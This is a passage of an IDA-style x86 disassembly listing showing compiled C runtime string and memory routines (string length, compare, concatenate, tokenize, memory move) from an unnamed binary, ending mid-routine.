sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CEp
					; sub_401ACD+6A0Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5980p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 269022Dh
		nop
		test	eax, eax
		jnz	short loc_41BDF2
		nop
		call	near ptr 2690A97h
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax


loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D2p
					; ___:00411CA1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E81p
					; sub_401ACD+1EA0p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi


loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx


loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx


loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFCp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC


loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD


loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------


loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]


loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46


loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0


loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB


loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8


loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6


loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi


loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------


loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC


loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi


loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080


loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4E0B74


loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------


loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx


loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------


loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4E0B74, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2C+1Cp
					; sub_415220+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEA+88p
					; sub_40B64A+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A


loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB


loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A


loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4


loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------


loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC


loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290


loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283


loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl


loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi


loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C


loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA3+15p
					; sub_40BFA3+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8


loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------


loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------


loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------


loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------


loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx


loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
